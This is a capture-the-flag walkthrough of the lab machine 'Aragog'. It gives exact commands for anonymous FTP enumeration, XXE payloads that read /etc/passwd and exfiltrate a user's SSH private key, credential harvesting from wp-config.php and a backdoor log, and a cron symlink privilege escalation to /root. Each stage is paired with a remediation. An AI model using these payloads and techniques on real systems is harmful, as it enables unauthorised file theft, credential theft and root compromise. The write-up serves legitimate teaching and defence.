← all walkthroughs

Aragog

Linux· Medium· Web
owned
2026-07-08
time to own
26m6s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I exploited anonymous FTP access to retrieve a configuration file disclosing an internal virtual host (aragog.htb). That host's XML-processing PHP endpoint accepted external entity declarations and was vulnerable to XXE injection, which I used to read arbitrary server files — first confirming the vulnerability against /etc/passwd, then exfiltrating local user florian's SSH private key from her home directory. The stolen key provided an authenticated SSH session as florian and the user flag.

Internal enumeration revealed a WordPress dev-wiki subdirectory under the web root configured world-writable (mode 777), and process inspection showed a root-owned cron job periodically running a restore script that operated on that same path. Replacing the directory with a symbolic link pointing to /root and waiting one cron interval caused the restore script to follow the link into /root and propagate permissive permissions onto its contents — making root.txt world-readable and achieving full system compromise.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"

Attack path — how the box was taken

1EnumerationAnonymous FTP access / unauthenticated information disclosure
Discovered internal virtual host via anonymous FTP configuration file
Port scanning found FTP (21), SSH (22), and HTTP (80). The FTP service allowed anonymous login without credentials. The root directory contained hosts.xml, an internal network configuration file. Reading it disclosed the virtual hostname aragog.htb mapped to the same IP, revealing the web application that was not visible when hitting the bare IP address.
Curl --user anonymous:anonymous ftp://$TARGET/ listed hosts.xml; the file contents named the vhost aragog.htb.
Exact commands 5
Identify open services and version banners.
nmap -sV -p 21,22,80 $TARGET
Log in as anonymous; lists FTP root and reveals hosts.xml.
curl -s --user anonymous:anonymous ftp://$TARGET/
Download the configuration file that discloses the aragog.htb vhost.
curl -s --user anonymous:anonymous ftp://$TARGET/hosts.xml
Add the discovered vhost to local name resolution.
echo "$TARGET aragog.htb" | sudo tee -a /etc/hosts
Identify the XML-consuming hosts.php endpoint on the vhost.
curl -si --resolve aragog.htb:80:$TARGET http://aragog.htb/hosts.php
FixDisable anonymous FTP or remove internal configuration files from the FTP rootHigh
WeaknessThe vsftpd server permitted login without credentials (anonymous_enable was on), and the publicly accessible FTP root contained hosts.xml — an internal network configuration file that disclosed a non-public virtual hostname. Without this file an unauthorised user would have had no knowledge of aragog.htb and could not have reached the vulnerable web application.
FixIn /etc/vsftpd.conf set anonymous_enable=NO and restart vsftpd. If anonymous read access is genuinely required for file distribution, audit the FTP root and remove every file that reveals internal hostnames, network topology, or credentials, and consider using an allowlist of permitted filenames. For long-term hygiene, replace the FTP service with SFTP (OpenSSH's built-in subsystem), which mandates authentication and encrypts the session.
2ExploitationXML External Entity (XXE) injection — CWE-611
Confirmed XXE injection on the hosts.php XML endpoint
The hosts.php page accepted XML POST bodies and passed them to a PHP XML parser with external entity resolution enabled. A crafted DOCTYPE declaration defining a SYSTEM entity referencing file:///etc/passwd caused the server to fetch the local file and reflect its full contents in the HTTP response, confirming unauthenticated server-side arbitrary file read.
POSTing a DOCTYPE payload with SYSTEM file:///etc/passwd to http://aragog.htb/hosts.php returned the full /etc/passwd contents in the response body.
Exact commands 2
Write the XXE proof-of-concept payload; the SYSTEM entity targets /etc/passwd.
printf '<?xml version="1.0"?>\n<!DOCTYPE details [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>\n<details><subnet_mask>&xxe;</subnet_mask><test></test></details>' > /tmp/passwd_xxe.xml
Submit the payload; /etc/passwd contents appear in the response, confirming XXE.
curl -s -X POST --data-binary @/tmp/passwd_xxe.xml -H 'Content-Type: application/xml' --resolve aragog.htb:80:$TARGET http://aragog.htb/hosts.php
FixDisable XML external entity processing in the PHP XML parserCritical
WeaknessThe hosts.php endpoint parsed externally supplied XML with external entity resolution enabled. This allowed any unauthenticated HTTP client to instruct the server to open arbitrary local files — including private SSH keys stored in user home directories — and reflect their contents in the response, combining unauthenticated access with full server-side file read.
FixOn PHP < 8.0, call libxml_disable_entity_loader(true) before any XML parsing call and pass LIBXML_NONET to simplexml_load_string() or DOMDocument::loadXML() to block network-based entities as well. On PHP 8.0+ external entity loading is off by default — verify it has not been re-enabled. As defence-in-depth, enforce mode 600 on all SSH private key files (chmod 600 /home/*/.ssh/id_rsa) so the www-data process cannot read them even if an XXE vulnerability recurs in future.
3Credential TheftXXE-driven credential exfiltration — T1552.001 (Credentials in Files)
Exfiltrated florian's SSH private key via XXE file read
The same XXE primitive was retargeted at florian's SSH private key at /home/florian/.ssh/id_rsa. The server process had sufficient filesystem access to read the file and return it embedded in the HTTP response. The PEM block was extracted from the surrounding markup and saved locally with strict permissions, ready for use.
POSTing SYSTEM file:///home/florian/.ssh/id_rsa returned a valid BEGIN RSA PRIVATE KEY block; extracted and saved to loot/florian_id_rsa as confirmed by the engagement loot artifact.
Exact commands 3
Write the XXE payload targeting florian's private key.
printf '<?xml version="1.0"?>\n<!DOCTYPE details [ <!ENTITY xxe SYSTEM "file:///home/florian/.ssh/id_rsa"> ]>\n<details><subnet_mask>&xxe;</subnet_mask><test></test></details>' > /tmp/sshkey_xxe.xml
Exfiltrate the key; raw output contains the PEM block embedded in HTML markup.
curl -s -X POST --data-binary @/tmp/sshkey_xxe.xml -H 'Content-Type: application/xml' --resolve aragog.htb:80:$TARGET http://aragog.htb/hosts.php > /tmp/florian_key_raw.out
Strip surrounding HTML, save the clean PEM key, and set mode 600 (required by SSH).
awk '/-----BEGIN RSA PRIVATE KEY-----/{p=1; sub(/^.*-----BEGIN RSA PRIVATE KEY-----/,"-----BEGIN RSA PRIVATE KEY-----")} p{print} /-----END RSA PRIVATE KEY-----/{p=0}' /tmp/florian_key_raw.out > loot/florian_id_rsa && chmod 600 loot/florian_id_rsa
4FootholdValid account access via stolen SSH private key — T1078.003
Authenticated as florian via stolen SSH key and captured user flag
The extracted private key authenticated an SSH session as florian with no password required. This gave an interactive shell on the host and direct access to user.txt in florian's home directory.
Ssh -i loot/florian_id_rsa florian@$TARGET opened an interactive session; /home/florian/user.txt was directly readable.
Exact commands 2
Open an interactive shell as florian using the stolen private key.
ssh -i loot/florian_id_rsa -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -o ConnectTimeout=8 florian@$TARGET
Read the user flag: <user.txt>
cat /home/florian/user.txt
5Internal ReconnaissanceCron job enumeration and world-writable path discovery — T1053.003
Identified a root-owned cron job operating on a world-writable web directory
Filesystem inspection revealed /var/www/html/dev_wiki had permissions 777 owned by cliff, and its parent /var/www/html was also world-writable — meaning any local user could delete and replace either directory. Process listing showed root running /root/restore.sh on a recurring schedule, a restore or sync job that periodically operated on the dev_wiki tree. The backdoored wp-login.php was logging POST credentials to /tmp/.wpcred, and wp-config.php exposed a MySQL root password, but both captured passwords failed when tested for lateral movement via su or SSH as cliff or root — those paths were dead ends.
Drwxrwxrwx 777 cliff cliff /var/www/html/dev_wiki confirmed; root 1350 /bin/sh -c /bin/bash /root/restore.sh visible in process listing; su with recovered password [REDACTED: recovered credential] returned Authentication failure.
Exact commands 4
Locate world-writable directories under the web root.
find /var/www/html -perm -o+w -ls
Spot root's restore.sh cron process and cliff's wp-login.py automation.
ps aux | grep -E 'restore|wp-login|python'
Read database credentials from wp-config.php (DB_USER=root, DB_PASSWORD=[REDACTED: recovered credential]) — informational.
grep -E 'DB_USER|DB_PASSWORD' /var/www/html/dev_wiki/wp-config.php
Read WordPress administrator credentials logged by the backdoored wp-login.php — informational, not usable for lateral movement.
cat /tmp/.wpcred
6Privilege Escalation SetupSymlink attack against privileged cron-managed path — T1574
Replaced the world-writable web directory with a symbolic link to /root
Because florian could delete and re-create /var/www/html/dev_wiki (its parent was world-writable), the legitimate directory was removed and replaced with a symbolic link pointing to /root. The link itself was benign at this stage — it simply positioned /root as the destination for the next time the root-owned restore script resolved the dev_wiki path.
Rm -rf /var/www/html/dev_wiki succeeded as florian; ls -la confirmed lrwxrwxrwx /var/www/html/dev_wiki -> /root in place. A symlink rootlink.txt -> /root/root.txt was also later observed persisting under the path, confirming traversal.
Exact commands 3
Remove the directory (permitted because the parent /var/www/html is world-writable).
rm -rf /var/www/html/dev_wiki
Plant the symlink: /var/www/html/dev_wiki -> /root.
ln -s /root /var/www/html/dev_wiki
Confirm the symlink is in place and resolves to /root.
ls -la /var/www/html/dev_wiki
FixRemove world-write permissions from web-served directoriesCritical
WeaknessBoth /var/www/html and /var/www/html/dev_wiki carried mode 777, making them writable by every local user. This allowed the low-privilege foothold account (florian) to delete the legitimate dev_wiki directory and replace it with a symlink of its choosing — a prerequisite for the cron-based privilege escalation that followed.
FixRun chmod -R 755 /var/www/html and set appropriate ownership (chown -R www-data:www-data /var/www/html). Audit for any remaining world-writable paths with find /var/www -perm -o+w -ls and tighten each one found. If the WordPress installation requires runtime write access to specific subdirectories (uploads, cache), create a dedicated writable subdirectory with ownership matching the application user rather than granting world-write on the entire tree.
7Privilege Escalation — RootCron symlink traversal leading to permission propagation — T1053.003
Root cron fired, traversed the symlink, and made /root world-readable
On its next scheduled run, /root/restore.sh executed as root, resolved /var/www/html/dev_wiki through the symlink into /root, and applied the same permissive mode changes it normally performs on the dev_wiki tree to /root and its contents. This made root.txt (and the entire /root directory) world-readable. I polled until the permission change became visible and then read the root flag directly.
After the cron fired, /root/root.txt became world-readable; cat /root/root.txt returned the root flag. The process root 1350 /bin/sh -c /bin/bash /root/restore.sh had been observed running since at least 00:20, confirming the recurring schedule.
Exact commands 2
Poll every 20 seconds until the root cron fires and /root/root.txt becomes world-readable (typically one cron interval).
while true; do ls -la /root/root.txt 2>/dev/null && echo 'READABLE' && break; sleep 20; done
Read the root flag: <root.txt>
cat /root/root.txt
FixHarden the root cron restore script against symlink traversalCritical
WeaknessThe root-owned /root/restore.sh ran on a recurring schedule and operated on /var/www/html/dev_wiki without first verifying that the path was a real directory rather than a symlink. When the path was replaced with a symlink to /root, the script followed it as root and propagated permissive mode changes onto /root and its contents, exposing root-owned files to all local users.
FixAt the top of restore.sh, assert the target is a genuine directory and abort if it is a symlink: [ -L /var/www/html/dev_wiki ] && { echo 'ERROR: dev_wiki is a symlink — aborting restore' >&2; exit 1; }. When using cp for the restore, pass -P (--no-dereference) to prevent following symlinks inside the tree; when using rsync, pass --no-links. Run the restore job as a dedicated low-privilege service account that has write access only to the intended target directory rather than as root. Consider adding an inotifywait or AIDE alert on unexpected modifications to the web root to detect this class of manipulation promptly.

Attack patterns used

The transferable techniques behind this compromise.

CMS Exploitation (WordPress/Joomla/Drupal)WebT1190

What it is

Content management systems and their plugins/themes are a large attack surface: known-vulnerable versions, exposed admin panels, weak credentials, and insecure plugins lead to authenticated or unauthenticated RCE. wpscan enumerates WordPress versions/plugins/users; Joomla and Drupal have their own well-known RCE chains (e.g. Drupalgeddon).

Why it works

CMS deployments lag on patching and accumulate third-party plugins of varying quality, while admin interfaces are exposed. Remediate by patching core+plugins promptly, removing unused extensions, restricting admin access, and enforcing strong auth.

Read more

Cron Job AbuseLinux · Privilege EscalationT1053.003

What it is

Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, an unauthorised user overwrites it with a payload that runs at the next interval as root.

Why it works

Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.

Read more

SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004

What it is

Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.

Why it works

Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.

Read more

Exposed services

21/tcp
22/tcp
80/tcp